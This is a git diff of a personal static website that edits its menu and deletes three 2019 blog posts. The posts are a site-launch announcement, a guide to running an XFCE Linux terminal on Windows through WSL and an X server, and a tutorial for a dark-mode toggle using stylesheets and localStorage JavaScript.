diff --git a/config.toml b/config.toml index caa7270..d26e62a 100644 --- a/config.toml +++ b/config.toml @@ -36,9 +36,9 @@ author = "Satya Johnson" zenn_title = "Satch" zenn_menu = [ {url = "$BASE_URL/", name = "Home"}, - {url = "$BASE_URL/projects/", name = "Projects"}, + {url = "$BASE_URL/chat/", name = "Chat"}, {url = "$BASE_URL/rhino/", name = "Rhino"}, - {url = "$BASE_URL/about/", name = "About"}, + {url = "$BASE_URL/about/", name = "About"}, {url = "$BASE_URL/donate/", name = "Donate"}, {url = "$BASE_URL/contact/", name = "Contact"}, ] diff --git a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-about.png b/content/blog/2019-07-03_fresh_shiny_website_hurray/after-about.png deleted file mode 100644 index c4c0a20..0000000 Binary files a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-about.png and /dev/null differ diff --git a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png b/content/blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png deleted file mode 100644 index 11067ee..0000000 Binary files a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png and /dev/null differ diff --git a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-home.png b/content/blog/2019-07-03_fresh_shiny_website_hurray/after-home.png deleted file mode 100644 index 12de7a9..0000000 Binary files a/content/blog/2019-07-03_fresh_shiny_website_hurray/after-home.png and /dev/null differ diff --git a/content/blog/2019-07-03_fresh_shiny_website_hurray/before-home.png b/content/blog/2019-07-03_fresh_shiny_website_hurray/before-home.png deleted file mode 100644 index a9212c9..0000000 Binary files a/content/blog/2019-07-03_fresh_shiny_website_hurray/before-home.png and /dev/null differ diff --git a/content/blog/2019-07-03_fresh_shiny_website_hurray/index.md b/content/blog/2019-07-03_fresh_shiny_website_hurray/index.md deleted file mode 100644 index f1fabdf..0000000 --- a/content/blog/2019-07-03_fresh_shiny_website_hurray/index.md +++ /dev/null @@ -1,65 +0,0 @@ -+++ -title = "Fresh & shiny website, hurray!" -description = "A fresh and shiny new website, hurray!" - -[taxonomies] -categories = ["release", "blog"] -tags = ["website"] - -[extra] -zenn_applause = true -+++ - -My personal website had basically been unchanged, lacking content, collecting -dust, since 2011 _(!!!)_, and here we are, more than 8 years later. - -Finally, I made some effort to revamp my personal website – _something you -obviously want to be proper looking_ – to scrap the previous. -I put some work in building a custom template to properly personalize it, with a -dark interface to reflect the stereotypical developer. It has some bold design -choices, so it'll be exciting how it works out. - -Surprise surprise, you're currently visiting the fresh and shiny new website. -_Or not so shiny after all, because it's dark._ - - - -## Show me! - -Alright, we went from: - -{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/before-home.png") }} - -to ... - -{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-home.png") }} -{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-about.png") }} -{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png") }} - -It'll undergo some visual changes and improvements based on user feedback for -sure, but the majority of it stands. - -## Blog -With this revamp, I introduced the ability for easy blogging. -I intend to use this website as a simple blog platform to share cool code -snippets, project releases, simple tutorials, useful findings and to share my -experience with various topics I'm interested in. -I'm not a writer, so let's see how this works out. - -Notice the [Blog](@/blog/_index.md) section for an overview of posts, -or see the sidebar (bottom of the page on mobile devices) for a listing of -[categories](/categories) and [tags](/tags) to scope on a more specific topic. - -_Oh, and, you're reading the first blog post right now!_ - -## 3-2-1 Publish -Today (2019-07-03) I'm publishing this new website at my personal `timvisee.com` -domain along with this post. I'd be happy to hear your thoughts! - -Of course, as a proper _open-sourcerer_, the source code for this website as a -whole is available in [this][source] repository. -And a big thanks to the developers of [Zola][zola] for building an amazing site -engine I was able to build this website in. - -[source]: https://github.com/timvisee/timvisee.com -[zola]: https://getzola.org/ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png deleted file mode 100644 index 3af59d9..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_alacritty.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_alacritty.png deleted file mode 100644 index 30cc157..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_alacritty.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_bash.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_bash.png deleted file mode 100644 index 560d4bf..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_bash.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_cmder.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_cmder.png deleted file mode 100644 index 9e3df84..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_cmder.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_powershell.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_powershell.png deleted file mode 100644 index f093d18..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_powershell.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_xfce.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_xfce.png deleted file mode 100644 index c7c69b1..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/example_xfce.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/index.md b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/index.md deleted file mode 100644 index 149c318..0000000 --- a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/index.md +++ /dev/null @@ -1,354 +0,0 @@ -+++ -title = "Fix Windows 10 terminals, use a Linux terminal" -description = "I feel handicapped in Windows terminals, here is why, and how I fixed it." - -[taxonomies] -categories = ["guide", "blog"] -tags = ["windows", "terminal", "linux"] - -[extra] -toc = true -zenn_applause = true -comments = [ - {url = "https://news.ycombinator.com/item?id=20383725", name = "Hacker News"}, - {url = "https://www.reddit.com/r/bashonubuntuonwindows/comments/can286/fix_windows_10_terminals_use_a_linux_terminal/", name = "Reddit"}, - {url = "https://lobste.rs/s/byz48p/fix_windows_10_terminals_use_linux", name = "Lobsters"}, -] -+++ - -> _I feel handicapped in Windows terminals, here is why, and how I fixed it._ - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png", url="/blog/fix-windows-terminals-use-linux-terminal/overview.png") }} - -As a seasoned developer, I _live_ in the terminal on Linux machines. -Using a custom shell, `vim` as text/code editor, `git` through its CLI, -[`dotfiles`][dotfiles] to sync settings across devices. -Everything is customized to my likings and styled with a nice color scheme. -All of it in a dark, text-based window on my screen. - -Once you get used to your command-line tools, it's a serious joy to -work with. It's a way to interface with your machine in a super-efficient and -expressive manner. As you can probably imagine, it can be pretty frustrating -when you don't have access to the tools you know and love. - -I sometimes use a Windows machine, for work or for building Windows-supported -software. Sadly, I feel pretty handicapped on this operating system, to be -frank. I can't get comfortable (and I'm super OCD for that matter). -The overall experience always appears to be subpar to what I'm used to. - - - -Through some testing, I've located this to be a problem with the terminals on -Windows. Though before the [WSL][wsl] era, running Linux tooling on Windows was -literally unthinkable, the situation has already improved a lot. Almost every -Linux tool works somewhat out of the box. Installing and configuring your -software using [dotfiles][dotfiles] became a much better experience as well. -The terminals on Windows still feel mediocre, it just isn't there yet. - -> I should note that this isn't a problem for light terminal usage in Windows -> 10 these days. When invoking simple commands through SSH, everything works -> beautifully. This is about using heavily personalized tooling, and as you -> can probably tell, I'm somewhat of a power user in this regard. Though, this -> might become useful in the future. - -### The problems -Throughout the past year, I've tried using a **lot** of different terminals -after giving up on the terminal included with `bash` on Windows. -Some of them include: ConEmu, hyper, Cmder, Terminus & PuTTY, with various -troublesome configuration attempts. I was never able to achieve the same -experience as I've had on Linux or macOS, have always encountered weird -shenanigans and was never really satisfied. - -Personally, I can generalize the usual problems to the following: -- color schemes are problematic, and usually, look different than its Linux - counterpart -- terminals on Windows appear *sloooow*, as a `vim` user you expect things to be - instant -- garbled output, no proper [ANSI][ansi] support -- some bindings don't work - -With some more specific examples throughout the different terminals: -- weird lines between characters, random underlined text -- everything looks darker than it should be -- color channels are flipped -- some special characters are not rendered at all -- no support for [`xterm-256color`][xterm-256color] at all - -### Simple solution -The solution to these problems honestly was quite simple, much more so than I -initially thought: - -> Just run a Linux terminal you're familiar with, on Windows. - -Yes, seriously. Why not use a Linux terminal, if you can't get Windows -terminals to behave? Because this is Windows, not Linux? Nope! - -Some effort is required to get this up and running, which is what I'll guide you -through in the following section. Don't worry, this won't be hard and -shouldn't take more than 15 minutes. - -## Linux terminal on Windows 10 -Before we start, make sure you're running an up-to-date Windows 10 instance, -and you need to have administrator rights. That's all, and you're good to go. - -We'll be going through the following five easy steps: -1. [Enable WSL, install Ubuntu](#enable-wsl) -2. [Install XFCE terminal](#install-terminal) -3. [Install X server](#install-x) -4. [Run XFCE terminal](#run-terminal) -4. [Create useful shortcuts](#useful-shortcuts) - -### 1. Enable WSL, install Ubuntu {#enable-wsl} - -Alright. The first big part is to get Linux software running on Windows in the -first place. Lucky for us, Windows has [WSL][wsl] these days, making this a -breeze. - -To start, you must **enable WSL** on your installation. Microsoft's own -guide perfectly describes how this is done: -[docs.microsoft.com/en-us/windows/wsl/install-win10][wsl-install] - -Once that is finished, you should **install a Linux distribution** that -provides Linux tooling we need. We'll be using the **Ubuntu** distribution -for this, which is most commonly used. (You may choose a different distro, -although some of the following commands will be different.) Ubuntu is -installed through the Microsoft Store, also described in -[this][wsl-install-ubuntu] guide. - -WSL & Linux: check ☑️ - -Let's continue. - -### 2. Install XFCE terminal {#install-terminal} -Now you can pick a Linux terminal you want to use. We'll be -using the terminal included with the [XFCE][xfce] desktop in this guide. It's a -excellent versatile terminal, that is efficient, has superb color scheme -support, and has all the options you need. Choosing some different you have -experience with is fine as well, of course. - -To **install XFCE terminal**, we'll use the Ubuntu package manager. Open the start -menu, and search for `bash`. This should bring up a terminal window running -Linux through WSL with a `bash` shell. Invoke the following two commands: - -```bash -sudo apt update -sudo apt install xfce4-terminal -``` - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png") }} - -You won't be able to use the installed terminal just yet, because Linux in WSL -has no way to draw a window on your screen at this time. We'll fix that in the -next step. - -A proper terminal: check ☑️ - -### 3. Install X server {#install-x} -Graphical Linux systems commonly use the [X][x] Window System (a.k.a. X11), used -to manage and draw application windows on the screen. This system is very -flexible & modular, which comes to good use in our case. X has various server -implementations, not just for Linux but also for Windows, acting as a system for -rendering windows. - -> Random fun fact: you can even draw windows over the network with X, to an -> external machine. - -We need to **install an X server** on our Windows system and tell Linux in WSL -to draw application windows to it. Guess what, this is the last installation -step required for showing the terminal window! - -In this guide, we'll be using [**VcXsrv**][vcxsrv], but other implementations -should work similarly. Visit its project page, download and install it: -[sourceforge.net/projects/vcxsrv][vcxsrv] - -Ability to render the terminal window on the screen: check ☑️ - -### 4. Run XFCE terminal {#run-terminal} -Now comes the fun part: actually starting and using the terminal. - -You must start the X server we installed, tell applications in Linux to draw to -it, and the terminal is ready to start. Note that this is required after each login. - -#### Start VcXsrv -First, **start the VcXsrv server** we have installed. An icon should have -appeared on your desktop, or you might find it through the start menu (named -'Xlaunch'). It will then ask us for some settings through a wizard: - -Pick 'Multiple windows' for now, you can experiment with other options later. -Leave the 'Display number' value at `-1`. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png") }} - -Just 'Start no client' for now, which allows us to show any number of Linux -application windows. You can always start the terminal directly through here -at a later time. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png") }} - -We want to sync the clipboard to make life easier. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png") }} - -Click 'Next' one more time and start the server. - -Start the X server: check ☑️ - -#### Configure X server address -After that, the X server starts and a taskbar tray icon should appear. -This is useful because it tells us the address the server is running at. -Right-clicking allows you to kill the server as well. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png") }} - -Our X server is running at `0.0`, chosen by the server because we set the -display number to `-1`. We need the number before the `.`, being `0` in this -case, and have to **configure this in the Linux environment**. - -Open a `bash` shell again through the Windows start menu to access the Linux -environment. And set the `DISPLAY` environment variable to `:0`, for our X -server address: - -```bash -export DISPLAY=:0 -``` - -Configured the X server address: check ☑️ - -#### Start the terminal -This finally makes your system ready to actually start the terminal. **Invoke -the following command** and see the magic happen: - -```bash -xfce4-terminal -``` - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png") }} - -Oh yes! There it is, the XFCE Linux terminal on your Windows system in all its -glory. The terminal has sane defaults, but I recommend to take a quick look -through its settings anyway to pick the desired color scheme. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png") }} - -Your terminal is now ready to use to its full potential. Happy hacking! - -### 5. Create useful shortcuts {#useful-shortcuts} -Okay, we're not quite done yet. - -As you might have noticed, these last few steps are required after each login, -which is cumbersome. The X server must be started, and you need to set -the `DISPLAY` variable for each `bash` shell you open from Windows. Though the -following steps are not required, it is highly recommended you follow them. - -#### VcXsrv configuration file shortcut -It is possible to create a configuration file for VcXsrv, to instantly start the -server without going through the wizard again and again. - -To do this, go through the wizard one last time. You might want to use `0` as -'Display number' (instead of `-1`) to ensure you're always starting the server -on a consistent address. On the final wizard screen, a 'Save configuration' -button appears, click it and save it in an easy-to-access place such as your -desktop as it will act as shortcut. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png") }} - -Double-clicking the created configuration file/shortcut should start the -server, and a tray icon should appear. - -#### XFCE terminal shortcut -We can make starting the terminal easier by creating a custom shortcut. -Right-click on your desktop or an Explorer window to create a new shortcut: - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png") }} - -We'll start `bash`, and automatically invoke the commands we ran -[before](#configure-x-server-address). Fill in the following command in the -'Location' field for this shortcut: - -```bash -bash -c 'export DISPLAY=:0; xfce4-terminal -e bash' -``` - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png") }} - -Hit 'Next', pick a fun name and you're done. - -Double-clicking the shortcut you've created should automatically open a new -_proper_ terminal window. Hurray! - -Windows automatically spawns a window for the `bash` command we're running -through the shortcut, causing two windows to show up. This is annoying. -Luckily we can minimize this unused window by default. Right-click on the -shortcut, and hit 'Properties'. Set the 'Run' option to 'Minimized': - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png") }} - -> Not showing the `bash` window at all is also possible with a workaround, -> but won't be covered in this guide. - -## Tips & Tricks -Here are some tips, tricks, and notices you might find useful. - -You can extend the command used for the shortcut to automatically open a specific -Linux program or to start an `ssh` session. You can create multiple different -shortcuts as well. Here's an example to immediately start a `ssh` session I -commonly use: - -```bash -bash -c 'export DISPLAY=:0; xfce4-terminal -e "bash -c \"ssh root@work.lan\""' -``` - -You can set the `DISPLAY` environment variable by default, by appending the `export -DISPLAY=:0` line to the `~/.bashrc` file through your `bash` shell. - -You can use other graphical Linux software as well after setting the `DISPLAY` -environment variable. - -If Linux applications don't show up, and the shortcut immediately quits, you -have probably configured an incorrect X server address or did not configure it -at all. Review the [Configure X server address](#configure-x-server-address) -section. - -Here's a simple final checklist for all the steps to get a Linux terminal -working: -- [enable WSL, install Ubuntu](#enable-wsl) -- [install XFCE terminal](#install-terminal) -- [install X server](#install-x) -- for each login: [start VcXsrv](#start-vcxsrv) -- for each `bash` shell: [configure X server address](#configure-x-server-address) -- for each `bash` shell: [start the terminal](#start-the-terminal) - -## Final thoughts -This solution isn't ideal. It takes effort to get up and running, and opening -a new terminal isn't as easy as with other terminals. But for me, this is a -solution that gives me the best terminal experience I've had on Windows. It -works like a charm, and it feels super _comfy_. That is important. - -{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png") }} - -Honestly, I find it kind of interesting, that almost every terminal on a Linux -or macOS based system works flawlessly for any tooling with no configuration. -However, on Windows, I don't see this quality, for something that seems so -simple: rendering monospaced text on a screen. - -Let's hope the terminal situation on Windows improves. A lot has been getting -better lately since WSL was introduced, and many more people started experiencing -these itches than before since Linux on Windows became a viable thing. -I wonder what the [upcoming][windows-terminal] Windows terminal will bring to -the table. - -I won't be going back to Windows anytime soon myself, but at least this provides -a terminal I'm happy with when I _need_ to use a Windows machine. - -As always: _Hope this helps!_   :wq - -[ansi]: https://en.wikipedia.org/wiki/ANSI_escape_code -[dotfiles]: https://github.com/timvisee/dotfiles -[vcxsrv]: https://sourceforge.net/projects/vcxsrv/ -[windows-terminal]: https://devblogs.microsoft.com/commandline/introducing-windows-terminal/ -[wsl-install-ubuntu]: https://docs.microsoft.com/en-us/windows/wsl/install-win10#install-your-linux-distribution-of-choice -[wsl-install]: https://docs.microsoft.com/en-us/windows/wsl/install-win10 -[wsl]: https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux -[x]: https://en.wikipedia.org/wiki/X_Window_System -[xfce]: https://xfce.org/ -[xterm-256color]: https://stackoverflow.com/a/10039347/1000145 diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png deleted file mode 100644 index 95574dc..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png deleted file mode 100644 index 84687d5..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png deleted file mode 100644 index bb86301..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png deleted file mode 100644 index 6232f28..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png deleted file mode 100644 index eb2dd11..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png deleted file mode 100644 index c9e3c7b..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png deleted file mode 100644 index 129f308..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png deleted file mode 100644 index e7d9537..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png deleted file mode 100644 index 28b56b9..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png deleted file mode 100644 index a9fdf8e..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png deleted file mode 100644 index 74ffe10..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce.png deleted file mode 100644 index 0143532..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce.png and /dev/null differ diff --git a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png b/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png deleted file mode 100644 index 7ad0189..0000000 Binary files a/content/blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png and /dev/null differ diff --git a/content/blog/2019-07-16_dark-mode-toggle-on-static-website/index.md b/content/blog/2019-07-16_dark-mode-toggle-on-static-website/index.md deleted file mode 100644 index 20c8b29..0000000 --- a/content/blog/2019-07-16_dark-mode-toggle-on-static-website/index.md +++ /dev/null @@ -1,287 +0,0 @@ -+++ -title = "Dark mode toggle on your static website" -description = "Add a dark mode theme toggle to your static HTML website." - -[taxonomies] -categories = ["guide", "blog"] -tags = ["web", "css", "javascript", "theme", "website"] - -[extra] -toc = true -zenn_applause = true -+++ - -Developers [like][developers-like-dark] dark themes. When looking at a screen -all day (or rather, night) long, a pale white background with black text is an -eyesore. Many software engineers prefer to use a dark theme with lower -contrast colors in their code editors, and many tools started shipping dark -visuals as default in the last few years. - -{{ fit_image(path="blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png", url="/blog/dark-mode-toggle-on-static-website/screenshot.png") }} - -I fall into that group as well and have been using these themes for so long -that I can't even recall when I joined the dark side. I started to like these -dark themes a lot and find them more visually pleasing, appearing more... -_Professional_. To reflect this, I wanted to give my website – _this_ -website – dark visuals as well. - -This isn't always a success. On some screens or in some light conditions the -dark theme can be difficult to read, and some just prefer a paper-like background -color anyway. I decided to create a dark/light mode toggle to please everyone. - -

- - 🌓 - - — Tap the moon icon, and see the magic happen. -

- - - -## What we're building -Alright. In this post I'll explain how to implement a light/dark mode toggle -for your website, it's super simple and adaptable. There are _a million_ -tutorials for this on the Internet already, but here is my take on it in -some detail with a few tips. - -This will use and support: - -- toggle theme using a button with smooth transitions -- remember chosen theme on a device, no flickering on page load -- simple & effective to implement, works on static HTML pages -- style sheet per color theme, keep it maintainable with SCSS variables - -Continue to the next section for the implementation, or skip to [The -result](#the-result) just for the result. - -## Build a theme toggle -"How is this be implemented?" I hear you ask. Well, it's quite simple. - -Because we're working with a static HTML website, theme selection must be done on the -client. We'll use two style sheets (each for a different color scheme), and some -simple JavaScript to toggle between these. The user preference will be -remembered across visits. - -### Load two style sheets -First off, **load two style sheets** inside the `` block of your website -which **replaces the existing** style sheet you might have in your template. -Just link both to your existing sheet for now. Assign an `id` to easily -reference them from JavaScript, choose `style-light` and `style-dark`. The -latter of the two links gets the `disabled` attribute to disable it by default. -They won't do anything yet, but this is to prepare for the toggle we'll build -next. - -I'm using `/site.css`, which makes the imports **look like this**: - -```html - - -``` - -### Add a toggle -Now we'll create the toggle. After that, we can finalize and iteratively -experiment with a new color scheme. - -**Put an element** that will **act as toggle** somewhere on your website where -it's easily accessible. It should invoke the `theme_toggle()` function when -clicked which we'll set up next. On my website it's a contrast icon located -next to the page title, check it out. Though it can be anything, I recommend -to use an anchor, **like this**: - -```html -🌓 -``` - -### Toggle with JavaScript -Create a **new JavaScript file**, let's call it `theme.js`. We need a function -`theme_set` to set the theme to light/dark, and `theme_toggle` which toggles -the theme. This will toggle the `disabled` state for both style sheets -depending on a truthy parameter, and stores the preference as well in the -persistent `localStorage` JavaScript store on the client. The toggle function -queries the current state and sets the theme by negating it. It **looks like -this**: - -```js -function theme_set(toggled) { - document.getElementById('style-light').disabled = toggled; - document.getElementById('style-dark').disabled = !toggled; - localStorage.setItem('theme-toggled', toggled ? '1' : ''); -} - -function theme_toggle() { - theme_set(!document.getElementById('style-light').disabled); -} -``` - -To restore the user preference we need to set the theme on page load, based on -the stored value. **Append the following line** for this: - -```js -theme_set(localStorage.getItem('theme-toggled')); -``` - -To use this, **load the script** in the `` block of your template -**after** the style sheets, like this: - -```js - -``` - -### Theme style sheets -The toggle button is functional now, but you won't see anything change yet. -We'll look at creating a second style sheet with alternative colors now. - -Generally speaking, the only thing that differs between these sheets will be -colors. I highly recommend using [`SCSS`][scss] as a -[CSS preprocessor][css-preprocessor] for this to allow the usage of color -variables, for easy theme variant creation. This guide won't cover -[installation][scss-install] or [usage][scss-usage] of [SCSS][scss], though -some static site generators such as [Zola][zola] have built-in support for -this. I'll show how I've configured my colors for my template, but you can -skip this section and use two raw CSS files as well. - -Create a `_colors_light.scss` and `_colors_dark.scss` file. ([This][site] site -uses [Zola][zola], so I plase these in `/sass/` for automatic processing.) -Both should look similar to this, but having configured colors you choose for -your respective themes: - -```css -/* File: _colors_light.scss */ -$color-text: #282828; -$color-background: #fcfbf7; -$color-border: darken($color-background, 50%); -``` - -Moved all styles (used in any color variant) to `_site.scss`, and used the -color variables from above to adapt to the selected theme: - -```css -/* File: _site.scss */ -body { - color: $color-text; - background-color: $color-background; -} -``` - -Then create a `site_light.scss` and `site_dark.scss` sheet as the base, -importing their respective color configuration and the shared site styles. - -```css -/* File: site_light.scss */ -@import "_colors_light"; -@import "_site"; -``` - -After processing these, you've created both a `site_light.css` and -`site_dark.css` sheet. And yeah, it was that simple to keep it maintainable. -Be sure to adapt the style sheet links in your template to the paths these new -sheets are located at. - -Awesome! Your toggle should now work, and the preference should be remembered -across page reloads. Now take the time to tweak the color variants. - -### Smooth transitions -Once you're settled with a second color scheme and everything works, you can -enable smooth transitioning between the two themes. We'll use CSS -[transitions][css-transitions] for this, which are awesome because they're -simple and performant. - -In your shared styles, you need to configure what CSS properties will smoothly -transition when changed. Imagine our `_site.scss` sheet from before, to -transition all properties that use variables we'll modify it to add the -`transition` property like this: - -```css -/* File: _site.scss */ -body { - color: $color-text; - background-color: $color-background; - transition: color 0.2s ease-in-out, - background-color 0.2s ease-in-out; -} -``` - -It will take some work to transition every dynamic property on your site, but -the result is great. Be sure to read the CSS transition documentation on -[MDN][css-transitions], because there's a lot you can tweak and configure. - -Hurray! That's it, yes it was that simple. CSS is awesome for this as it -doesn't require changes to the body of your website except for some imports. -Now you can publish your freshened website and profit. - -## Tips & Tricks -You can modify the style sheet imports and script to use dark colors by default, -like on this website. Set the light scheme to be `disabled` by default, and -[tweak][theme-script-dark-permalink] the script. - -You might want to leave your existing style sheet as-is, and just use a second -sheet to override colors in the main sheet. Simply modify the script to only -toggle the `disabled` state for the overriding sheet, and query the overriding -sheet instead in the `theme_toggle` function. - -This isn't necessarily for light/dark themes and works perfectly fine for -other color combinations as well. - -If desired, you could implement even more themes with a more advanced theme -toggling script implementation. - -For additional inspiration you can take a look at styles for [this][site-styles] -website. - -## The result -To recap, here is an overview of what the changes should look like. - -Your templates `` should contain something like: - -```html - - - - - - - - -``` - -And your `theme.js` file will look like: - -```js -// File: theme.js - -/** - * Set and apply the normal or toggled theme. - * - * @param toggled Truthy value to show toggled, normal otherwise. - */ -function theme_set(toggled) { - document.getElementById('style-light').disabled = toggled; - document.getElementById('style-dark').disabled = !toggled; - localStorage.setItem('theme-toggled', toggled ? '1' : ''); -} - -/** - * Toggle the current theme. - */ -function theme_toggle() { - theme_set(!document.getElementById('style-light').disabled); -} - -// Apply selected theme, stored in localStorage item -theme_set(localStorage.getItem('theme-toggled')); -``` - -Along with your custom `site_{light,dark}.css` sheets, this is all you need. - -As always: _Hope this helps!_   :wq - -[css-preprocessor]: https://developer.mozilla.org/en-US/docs/Glossary/CSS_preprocessor -[css-transitions]: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions -[developers-like-dark]: https://hashnode.com/post/which-color-theme-do-you-prefer-in-your-code-editor-ciq9e3wbn1avb0053p48nozw0 -[scss-install]: https://sass-lang.com/install -[scss-usage]: https://sass-lang.com/guide -[scss]: https://sass-lang.com/ -[site-styles]: https://gitlab.com/timvisee/timvisee.com/tree/master/themes/zenn/sass -[site]: https://gitlab.com/timvisee/timvisee.com -[theme-script-dark-permalink]: https://gitlab.com/timvisee/timvisee.com/blob/7e533e64c5acb5eb3bcdbfc97e9d60f1aa0e0519/themes/zenn/static/js/theme.js -[zola]: https://getzola.org/ diff --git a/content/blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png b/content/blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png deleted file mode 100644 index 626c532..0000000 Binary files a/content/blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png and 